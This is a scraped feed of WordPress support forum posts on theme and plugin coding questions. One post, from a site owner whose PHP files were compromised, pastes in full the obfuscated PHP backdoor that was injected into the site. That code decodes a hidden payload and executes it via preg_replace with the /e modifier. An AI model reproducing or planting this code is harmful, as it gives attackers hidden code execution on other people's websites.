Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

Bitmaniacs on "Caching custom social share count in WordPress"

$
0
0

I really like having a share counter on my blogposts. I noticed that it actually encourages visitors to share the content themselves. Because there are no WordPress sharecount plugins out there that I actually find satisfying (most of them make way to much calls), I wrote the code myself.

It works perfect, but still slows down my site. So I would rather it caches and refreshes once per hour or so. I don't know how to manage this though … Any ideas?

This is what I put in the themes function file:

class shareCount {
private $url,$timeout;
function __construct($url,$timeout=10) {
$this->url=rawurlencode($url);
$this->timeout=$timeout;
}

function get_tweets() {
$json_string = $this->file_get_contents_curl('http://urls.api.twitter.com/1/urls/count.json?url=' . $this->url);
$json = json_decode($json_string, true);
return isset($json['count'])?intval($json['count']):0;
}

function get_fb() {
$json_string = $this->file_get_contents_curl('http://api.facebook.com/restserver.php?method=links.getStats&format=json&urls='.$this->url);
$json = json_decode($json_string, true);
return isset($json[0]['total_count'])?intval($json[0]['total_count']):0;
}

private function file_get_contents_curl($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
$cont = curl_exec($ch);
if(curl_error($ch))
    {
        die(curl_error($ch));
    }
        return $cont;
    }
}

And this is what I use in single.php:

<!-- Begin mod: Add share counter -->
<span class="share-count">
    <?php
    $obj=new shareCount(get_permalink( $post->ID ));
    echo $obj->get_tweets() + $obj->get_fb();
    ?>
</span>
<span class="share-text">
    keer gedeeld
</span>
<!-- End mod: Add share counter -->

Then I also add some css.


H1cH4m on "Delete Xmlrpc.php"

$
0
0

Hi , i want to secure my wordpress blog against brute forcing with the use of xmlrpc.php file , is there any way to do that , also if i just delete the file , is the blog will work normal or not ?

KhornetheGrim on "Add extra, pre-set into to DB with New User"

$
0
0

I am trying to figure out where I would add the code to save additional info to a custom table when a new user is set up. I've spent hours running searches trying to figure out how to do this with no results.

Basically what I am trying to do is save some base stats for a simple game I am building. I want the stats I am using to be tied to a WordPress user ID. I've already figured out how to call and display the information if I manually insert it, but it would make life infinitely easier if I could tie that into creating a new user.

I don't want extra fields or anything, just "when creating new user, also save x, y, z to table 'blah'.

nofishangler on "$_GET['lang'] returns "en" when it is supposed to return null"

$
0
0

When trying to get the "lang" string from a url that contains no "lang" string, "en" is returned.

For example
http://www.myadress.com/?lang=en
$_GET['lang'] will return "en", which is correct.

however when the url is
http://www.myadress.com/
$_GET['lang'] will also return "en" when it is supposed to return null.

Do you know what causes this?

polecat on "Tags for custom post_type"

$
0
0

On my website I've some post_type like: services, portfolio etc.
For post_type services I've a specific service-tags.
When I click on a first inserted tag-service, wordpress gave me a correct post. If I click any other services taxonomies wordpress respond with not found.
To insert service-tags I had put this code on file function.php

//create two taxonomies, genres and tags for the post type "tag"
function create_tag_taxonomies()
{
  // Add new taxonomy, NOT hierarchical (like tags)
  $labels = array(
    'name' => _x( 'Tags Servizi', 'taxonomy general name' ),
    'singular_name' => _x( 'Tag Servizi', 'taxonomy singular name' ),
    'search_items' =>  __( 'Search Tags Servizi' ),
    'popular_items' => __( 'Popular Tags Servizi' ),
    'all_items' => __( 'All Tags Servizi' ),
    'parent_item' => null,
    'parent_item_colon' => null,
    'edit_item' => __( 'Edit Tag Servizi' ),
    'update_item' => __( 'Update Tag Servizi' ),
    'add_new_item' => __( 'Add New Tag Servizi' ),
    'new_item_name' => __( 'New Tag Name Servizi' ),
    'separate_items_with_commas' => __( 'Separate tags Servizi with commas' ),
    'add_or_remove_items' => __( 'Add or remove tags Servizi' ),
    'choose_from_most_used' => __( 'Choose from the most used tags Servizi' ),
    'menu_name' => __( 'Tags Servizi' ),
  ); 

  register_taxonomy('tag-servizi','service',array(
    'hierarchical' => false,
    'labels' => $labels,
    'show_ui' => true,
    'update_count_callback' => '_update_post_term_count',
    'query_var' => true,
    'rewrite' => array( 'slug' => 'tag-servizi' ),
  ));
}

rabbitFoot on "Plugin install Page Templates"

$
0
0

I am writing a few plugins which require Page Templates;

1) Do these have to be installed in the current theme (and others if changed) or is there a shared place I can put them? If require to be installed in each theme then what is the standard / recommended method?

2) Is it best to use the plugin to create and write the files out or is there an inbuilt method for placing the templates?

rabbitFoot on "Add new page, etc"

$
0
0

Hi,

As my plugin installs (or by admin) i'd like to insert a new page and apply my template to it, then get the page link per the way the install is set up, so it can be redirected by my plugin.

Searching for new page brings up many different but all wrong topics...

deyi83 on "virus spam or hacker??? XMAILER"


Chris Barrett on "Search - name="s" change to name="Search""

$
0
0

The WordPress search form has name="s" value associated with the built in search system. As this is also used by the built in Search widget, I assume in the core somewhere is a $_GET['s'] statement. I had an user point out under WAI (Web Accessibility Initiative), form name values are to have human usable values. Therefore, the request was to change name="s" to name="Search". Of course, such a change would involve changing to $_GET['Search'] for the WordPress core search.

Is this something that can be changed via Filter or Action Hook?

dziner2 on "Style a specific admin link"

$
0
0

Hi,I've been looking for a way to style an individual admin link. e.g. Change the background color of "Plugins" to another color. With many administrator level admin areas having long lists of links, I sometimes find it hard to quickly pick up a frequently clicked, individual link. Even more so when a bit of tiredness sets in. For a commonly clicked link like "Plugins", to change the background color to another color would make it much easier to locate quickly amongst the other links.
Cheers in advance

socialady on "Mislead by site log in"

$
0
0

Hi there, I was forced to log into this page http://www.greenwashingindex.com/about-greenwashing/, however as I tried to create a log in id, it kept me pushing to log in wiht my wordpress login id. So as soon as I did that, I was kicked off my site, and now I cannot get back to it. I get an error saying this:
Error establishing a database connection
This either means that the username and password information in your wp-config.php file is incorrect or we can't contact the database server at localhost. This could mean your host's database server is down.

Are you sure you have the correct username and password?
Are you sure that you have typed the correct hostname?
Are you sure that the database server is running?
If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the WordPress Support Forums.

Please, can somebody tell me I was not hacked?!!!

MichaelNi on "wp_enqueue_style() with php file and css styles (php functions do not work)"

$
0
0

I'm just developing my first own plugin; I enqueued a .css.php file and used <?php header("Content-type: text/css"); ?> to specify that the content is CSS via wp_enqueue_style(). However, the wordpress PHP functions do not seem to work. I have two files, both are quit with the following errors:

<b>Fatal error</b>: Call to undefined function plugins_url() in <b>/(...)/wp-content/plugins/simple-self-stylable-popup/ssspu_admin_css.php</b> on line <b>27</b><br />

<b>Fatal error</b>: Call to undefined function get_option() in <b>/(...)/wp-content/plugins/simple-self-stylable-popup/ssspu_css.php</b> on line <b>5</b><br />

I tried googeling, but can't find any usable answers.

bogdanUlea on "Hacked code inserted in all the php files from my website"

$
0
0

Hi,
I have the following problem:
All my .php pages from my website has been hacked. A suspicious code has been inserted on first line of my WordPress website. I have changed all the user access password and database passwords and users and installed a new version (the last version 3.9.1)...It is very strange. The php files from my installation have 0644 rights access on Linux. The hosting is offered by hostmonster.com.....I think is something with their security access. Did somebody had the same issue?

The inserted code is:
<?php $xfsvhcslzb = '%x7825bT-%x5c%x7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*25z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%x5245]K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}39]252]y83]273]y72]282#<!%x5c%x7825tj-}!#*<%x5c%x7825nfd>%x5c%x782%x5c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597y]#>n%x5c%x7825<#372]58y]472]37y]672#[#-#Y#-#D#-#W#-#C#-#O#-7]D4]275]D:M8]Df#<%x5cc%x78256<#o]1%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x782f#0#%x5c%x782f*#npd%x5c%x782f#)rrd%x5t%x5c%x7860msvd}+;!>!}%x5c%x78%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)7%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%x285]y31]55]y85]82]y76]62]yqp%x5c%x7825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825*<(<%x5c%x78e%x5c%x78b%x5c%x7825z)%x5c%x7825bbT-%x5c274]y85]273]y6g]273]y76]271]y7d]252]y74]256]yV%x5c%x7860QUUI&b%x5c%78604%x5c%x78223}!+!<+{e%x5c%x7825+*!*+fepdfe{h<!gps)%x5c%x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%x78257**^#zsfvr#%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<~%x5c%x7824<!%x5c%xx7825-#1]#-bubE{h%x5c%5c%x7825j:>1<%x5c%x7825j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bj#)ldbqov>*ofmy%x5c%x7825)utjm!|!*5!%x5c%x7827!hm5z<jg!)%x5c%x7825z>>2*!%x5cIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x782f#56%x75%156%x61"]=1; function fjfgg($n){return chr(o8]y7f#<!%x5c%x7825tww!>!%x5c%x782x5c%x7825Z<^2%x5c%x785c2b%x581]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]284]3626%x5c%x7824-%x5c%x7824<%x5c%x7825j,,*!|%x5c%x7824x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.4%x5c%x7860hAg!)%x5c%x7825j:>>1*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fe7>q%x5c%x78256<%x5c%x787fw6*%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%5c%x78256<.msv%x5c%x7860ftsbqA%x5c%x7825w%x5c%x7860TW~%x57825ggg)(0)%x5c%x782f+*0f(-!#]y76]277]y72]265]y39]271]y83]256]x67%42%x2c%163%x74%162%x5f%163%x70%154%x69%164%50%x25c%x785cq%x5c%x7825%x5c%x7827Y%x825)!gj!<**2-4-bubE{h%x5c%x7825)sutcvt)esp>hmg%x5c%x7825!<12>j%xx5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z5tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!37,18R#>q%x5c%x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%xx5c%x7860%x5c%x7825}X;5j:^<!%x5c%x7825w%x5c%x7860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x7825G]y6d]281Ld]2f!**#sfmcnbs+yfeobz+sfwjidsb%x5c#<%x5c%x7825t2w>#]y74]273]y76]252]y8]37]88y]27]28y]#%x5c%c%x7824-%x5c%x7824y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]c%x7825c*W%x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825%x5c%x7822:ftmbg39*56A:>:8:|:7#6w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x7825)!gj}Z;h!x7860un>qp%x5c%x7825!|Z~!<##!>!2p%x5c%x7825!|!*!***b24!>!fyqmpef)#%x5c%x7824*<!%x5c%x7825kj:!>!#]y3d]51]y35]2x5c%x7825w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<c%x7825!>!2p%x5c%x7825!*3>?*2%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%x785c%x5c%x782%x5c%x7825b:>1<!gps)%xf-s.973:8297f:5297e:56-%x5c%x7878r.985:52985-t.98]K4]65]Dopjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%xg%x5c%x7825)!gj!|!*1?hmg%x5c%x75c%x7827u%x5c%x7825)7fmji%x5c%x78786<C%x5c%x7827&6<*r#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!*nbsbq%x27;!>>>!}_;gvc%x5c%x785c%x7825)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%x5c%x7826<.2%x5c%x7860hA%x5c%x7827pd%x5c%x78256<Cx7824<!%x5c%x7825tzw>!#])!gj+{e%x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*c%x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5ujpo)##-!#~<#%x5c%x782f%x5c%x**#j{hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1~25)hopm3qjA)qj3hopmA%x5c%x78273qj%xy78]248]y83]256]y81]265]y72]254]y76]61]y33]68]y3400#W~!%x5c%x7825t2w)##Qtjw)#]82#8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55945c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%5c%x78256<*Y%x5c%x7825)set($GLOBALS["%x61%156%x75%156%x61"])))) { $GLOBALS["%x61%1qssutRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj155%x61%160%x28%42%x66%152%x66%147%5c%x7825)323ldfidk!~%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj6<*K5c%x7825)kV%x5c%x7878{**#k#)tutjyf%x5c%x7<%x5c%x7825nfd)##Qtpz)#]341]88M4P8]3787f_*#fubfsdXk5%x5c%x7860427]36]373P6]36]73]83]238M7]30); preg_replace("%x2f%50%x2e%52%x29%5*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<%x56]y76]72]y3d]51]y35]274]y4:]>!%x5c%x78246767~6<Cw6825}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)}.;%#N#*%x5c%x7824%x5c%x782f%x5c%x7825kj:-!OVMM5bss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782f14+9**-)1%x5c%x782f297825o:!>!%x5c%x78242178}527}88:}334c%x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x7825V<#65,47R25,d7R17,67R37,#%x5c%x782fq%x5c%x7825>U<#16,%x5c%x782f#M5]DgP5]D6#<%x5c%x785c%x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuo%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x7825=*h%x5c%x7825)m%x%x7825z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)}472%x5c%x7824<!%x5c%x782<pd%x5c%x7825w6Z6<.5%%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)gj6<^#Y#%x5]256]y6g]257]y86]267]y74]275]y7:]26x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%x5c%x7860msvd},;uqpufrd($n)-1);} @error_reporting(6<#o]o]Y%x5c%x78257;utpI#7>%x5c%x782f7rfs%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%x5c%x7878]y84]275]y83]273]y76]2772f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-%x7860QUUI&c_UOFHB%x5c%x7860SFT*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}U;y]}R;2]*3qj%x5c%x78257>%x5c%x782272qj%x5c%x7825)7gj6<**2qj%x5c%x78ssbnpe_GMFT%x5c%x7860QIQ&f_UTP]68]y33]65]y31]53]y6d]281]y43]78]y33]6fs%x5c%x78257-K)fujs%x5c%x7878Xfm%x5c%x7825:-5ppde:4:|:**#ppde#)tutjyf%x5c%x5mm!>!#]y81]273]y76]258]y6g]273]y76]27%x7825j^%x5c%x7824-%x5c%x7824tvctus)%x5c%x7825%x5c%x7c%x782f#00;quui#>.%x5c%x7825!<***f%x5c%x7827,*e25}&;ftmbg}%x5c%x787f;!osvufs}%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyffnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%x5c%x78257%x5]278]225]241]334]368]322]3]364]6]283]5c%x7825-#1GO%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*-#!#-%x5c%x7825tmw)%x5c%x7825tww**WYsboepn)%x5c%x78x7825!|!*)323zbek!~!<b%x5c%x7825!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5wN;#-Ez-1H*WCw*[!%x5c%x7825rN}#QwTW%x5c%x7825h)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825mhpph#)zbssb!-#}#)fec%x7824]25%x5c%x7824-%x5c%x7824-!%x5c3:]84#-!OVMM*<%x22%51%x29%*197-2qj%x5c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x547R57,27R66,#%x5c%x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67Rx7825)tpqsut>j%x5c%x5-bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osx5c%x782f#p#%x5c%x782f%x5c%x782<*::::::-111112)eobs%x5c%%x5c%x7825)sf%x5c%x7878pmpusut!-#j0#!%x5c%x78t0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x782f#%x5c%1%76%x21%50%x5c%x7825%x5c%x7x7825t::!>!%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN}#-!tussfw)%x5c!>!%x5c%x7825i%x5c%x785c2^<!Ce*[!%x5c%x7825cIjQeTQcOc%x:-!%x5c%x7825tzw%x5c%x78fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x78256<%x5c%x7fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!p!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tp%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%!sp!*#opo#>>}R;msv}.;%x5c%x782f#%x5c%x782f#%x5c%x782f},;#-#}+;%x5c%x78pdof%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!7825!*9!%x5c%x7827!hmg%x5c%x7825)!gj!#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x551%x29%73", NULL); }DPT7-UFOJ%x5c%x7860GB)fubfsdXA%x5c%x7827K6<%x5c%x787fw6w!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#<%x5c%x7825tmw!>!#>%x5c%x782fh%x5c%x7825:<**#57]38y]47]67y%x7825!*3!%x5c%x7827!hmg%x5c%x7825!)!gj!<2,*jfuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7b%x5c%x7825)gpf{jt)!gj!<*2bd%x878:!>#]y3g]61]y3f]63]y3:]68]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!y76]277]y72]265]y39]},;osvufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;x782fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%x5c%x7825-#+I#)q%x5cU,6<*27-SFGTOBSUOSVUFS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827id1]y7d]252]y74]256#<!%x5c%x7825ff2!>!bssbz)%x525fdy>#]D4]273]D6P2L5P6]y6gP7L6M33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%x7825-#jpmqnj!%x5c%x782f!#0#)idubn%x5c%x7860hfsq)!sx7825#%x5c%x782f#o]#%x5x7824*<!~!dsfbuf%x5c%x7860gvod7825s:N}#-%x5c%x7825o:W%x5c%x7825c:>1<25-qp%x5c%x7825)54l}%x5c%x7827;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvu5c%x7825!|!*#91y]c9y]g2y]#>>*4-7824-tusqpt)%x5c%x78-%x5c%x7824gvodujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5~<ofmy%x5c%x7825,3,j%x5c%x7882]y3:]62]y4c#<!%x5c%400~:<h%x5c%x7825_t%x5c%x7825:osvufs:~:<*9-1-r%x5c%x7825)s%x5c%x78255c%x7825):fmji%x5c%x7878:<##:>:h%x5c%x7825:<#64y]552]e725bss-%x5c%x7825r%x5c%x7878B825%x5c%x785cSFWSFT%x5c%x78256<*17-SFEBFI,6<*127-UVPFNJc%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw4]6]234]342]58]24]31#824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#%x5c%x7824-%x5c%x-%x5c%x7825tdz*Wsfuvso!%x5c%x782!<2p%x5c%x7825%x5c%x787f!~!<##!>!2p%vufs!~<3,j%x5c%x7825>j%x5cftmf!}Z;^nbsbq%x5c%x7]48y]#>s%x5c%x7825<#462]47y%x5c%x78256<%x5c%x787fw6*%x5c%x787f_%x5c%x787f!<X>b%x5c%x7825Z<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo5c%x782f#00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvsoif((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!ispd19275fubmgoj{h1:|:*mmvo:>:iuho1-bubE{h%x5c%x7825)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!|!)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x7825%x5c%x7824-%x5c%x786-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%x5c%x782%x5c%x7827rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7*fs}%x5c%x787f;!opjudovg}k~~9{d%x5c%x7825:osvufs:~928>>c%x7824-%x5c%x7824gps)%x5c%x7825j>1<%x5c%x782%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%141%x72%162%x61%171%x5f%86+7**^%x5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%xc%x7860MPT7-NBFSUT%x5c%x7860Lc%x782f*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%%x5c%x7825s:%x5c%x785c%x5c%x7825j:.2^,{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)+{d%x5c%x7825)+opjudovg+2%134%x78%62%x35%165%x3a%146%x225>j%x5c%x7825!<**3-j%x5c%x7825-bubE{h%x5c%x7825)sutcvt-#wI%x5c%x7860QUUI&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860bj+upcotn+qsvmt+f5fdy<Cb*[%x5c%x7825h!>!%x5c%x7825td#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnggg!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#<!%x5c%x]252]18y]#>q%x5c%x7825<#762]67y]562]38y]572]48y]#>m%x5c%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<.3%x5c%x7860hA%/(.*)/epreg_replacewzahbxxjbx'; $yebyrnoqpq = explode(chr((167-123)),'8897,63,3703,59,1275,51,4939,29,4053,38,569,60,9427,25,3810,35,1856,52,9687,31,6570,28,7500,65,4190,22,4775,21,1499,66,10050,56,2004,38,3201,41,5660,62,3865,56,9060,58,3028,53,5416,31,4968,44,387,48,9208,54,6169,54,9500,29,7216,55,5289,59,3456,35,3680,23,5722,39,5761,30,6223,67,934,51,4796,48,1908,32,1737,30,1658,35,3999,25,9613,50,6742,59,1693,44,2735,46,5183,55,8455,35,7706,66,8752,36,4091,70,4570,70,7424,46,4212,61,4880,59,481,30,3128,22,5630,30,2578,48,2947,50,3150,51,6368,39,8678,26,7379,45,6903,44,3628,52,1052,22,6348,20,7104,37,8235,28,9718,58,1137,48,2997,31,1940,64,8114,31,8992,68,3404,52,8642,36,1359,28,2781,29,7470,30,5828,49,653,62,435,46,5583,47,511,58,6801,56,6438,25,2626,52,6463,45,2341,33,9828,23,6086,20,7913,43,6857,46,3762,48,2084,49,5348,30,9776,52,5152,31,812,22,5928,32,8788,61,3081,47,3845,20,1619,39,7053,51,8704,21,8435,20,2191,22,6983,70,8047,67,9262,54,2546,32,9886,45,8960,32,5447,45,834,47,9663,24,3266,70,7141,55,3336,39,4418,65,4483,56,6290,58,2133,58,3921,41,5238,51,7585,61,7849,64,6508,62,7956,23,9529,46,3242,24,7565,20,767,45,177,37,7271,68,5071,24,2374,36,4844,36,1326,33,8284,68,7339,40,2410,21,7646,60,4640,65,8352,55,305,36,8725,27,9995,55,985,67,4383,35,4750,25,5492,38,7772,45,6106,37,9361,66,5530,53,8557,53,8145,20,58,66,2431,66,1449,50,8165,70,9316,45,6947,36,7979,30,3375,29,9118,23,2678,57,4161,29,8263,21,6598,64,2497,49,6662,56,8849,48,5960,39,8490,46,6045,41,5999,46,1212,63,3540,32,5877,51,8407,28,243,62,2890,57,3572,56,9141,67,2042,42,4539,31,7817,32,365,22,2278,63,124,53,214,29,9851,35,747,20,0,58,3962,37,5791,37,4024,29,1387,62,8536,21,8610,32,4316,67,9452,48,8009,38,2868,22,1074,63,1565,54,9575,38,2810,58,2213,65,881,53,6407,31,1185,27,4705,45,1767,27,5012,59,6718,24,5095,57,341,24,4273,43,715,32,9931,64,1794,62,3491,49,5378,38,629,24,6143,26,7196,20'); $qscmjmqose=substr($xfsvhcslzb,(32338-22232),(28-21)); if (!function_exists('jqmtqbqims')) { function jqmtqbqims($lobzdwfrxg, $vpssrsjtab) { $qmjbrwxvex = NULL; for($hprwzufgsb=0;$hprwzufgsb<(sizeof($lobzdwfrxg)/2);$hprwzufgsb++) { $qmjbrwxvex .= substr($vpssrsjtab, $lobzdwfrxg[($hprwzufgsb*2)],$lobzdwfrxg[($hprwzufgsb*2)+1]); } return $qmjbrwxvex; };} $qbewuuvtsf="\x20\57\x2a\40\x71\161\x62\143\x6b\144\x78\153\x73\144\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x37\55\x31\70\x30\51\x29\54\x20\143\x68\162\x28\50\x33\63\x33\55\x32\64\x31\51\x29\54\x20\152\x71\155\x74\161\x62\161\x69\155\x73\50\x24\171\x65\142\x79\162\x6e\157\x71\160\x71\54\x24\170\x66\163\x76\150\x63\163\x6c\172\x62\51\x29\51\x3b\40\x2f\52\x20\172\x77\151\x63\162\x6e\161\x6d\141\x77\40\x2a\57\x20"; $qkftatwrqv=substr($xfsvhcslzb,(49095-38982),(47-35)); $qkftatwrqv($qscmjmqose, $qbewuuvtsf, NULL); $qkftatwrqv=$qbewuuvtsf; $qkftatwrqv=(556-435); $xfsvhcslzb=$qkftatwrqv-1; ?>

aiwa1412 on "Custom menu item potion"

$
0
0

I spent alot of time trying to find custom code for a login/logout buttom for menu.

I found some code that works but when I log in the menu bar has admin pages and the logout button gets pushed to the end. I want to have it first since the bar is empty when logged out.

Thanks in advance.

//Add login/logout link to naviagation menu
function add_login_out_item_to_menu( $items, $args ){

	//change theme location with your them location name
	if( is_admin() ||  $args->theme_location != 'top' )
		return $items; 

	$redirect = ( is_home() ) ? false : get_permalink();
	if( is_user_logged_in( ) )
		$link = '<a href="' . wp_logout_url( $redirect ) . '" title="' .  __( 'Logout' ) .'">' . __( 'Logout' ) . '</a>';
	else  $link = '<a href="' . wp_login_url( $redirect  ) . '" title="' .  __( 'Login' ) .'">' . __( 'Login' ) . '</a>';

	return $items.= '<li id="log-in-out-link" class="menu-item menu-type-link">'. $link . '</li>';
}add_filter( 'wp_nav_menu_items', 'add_login_out_item_to_menu', 50, 2 );

justbedsheets on "Add description field to quickedit"

$
0
0

I have over 6,000 products that I need to edit product tags for, and I can do that. It would be easiest for me to be able to do that via Quick Edit instead of the Full Editor. In order for me to do that, I need the product description field to populate in Quick Edit. I don't want to make changes to the product description, I just need to be able to see it. I've tried several plugins but so far none have worked for me. Any help would be appreciated.


toniojst on "disable comment email notification for specific page"

$
0
0

I would like to make the page with id = 2 that do not get notification mail that the message was written because I have on this page of me made to automatically approve comments. so i dont need notification mail

KeithAdv on "Help me use bigvideo.js in WordPress?"

$
0
0

I'm hoping someone can break this down so I can understand it!

I'm fairly good with css, just a beginner on javascript and php. Not so well educated on when/how to include/import stuff. But I'd love to use the jquery bigvideo plugin on a site, if I can get over the tech part!

Here is the BIGVIDEO.JS intro

And here is a tutorial by the creator

It's the simple stuff I trip over--where and how to include what--I just don't know how to WordPress-ify code like this! However, I'd love to get it up and running and all help would be appreciated! Thank you!

updownupdown on "Limit user management within admin "groups""

$
0
0

(Not sure where to post this, hopefully I'm in the right forum!)

I'm looking for a way to "segregate" user creation and management in the back-end. In essence, I want to have an admin (or "super" admin) who can create editors (or "lower" admins), and assign them a group. Those editors can then create their own users within their group (subscribers only), and they can edit or delete those users, but they cannot see, edit, or delete users within any other group.

In other words, I have a website that's accessible to users only, and subscriptions are closed. The client wants to license the content of the website to other companies, creating a main login for them. They would then be able to create their own users, but shouldn't be able to see the users of any other company.

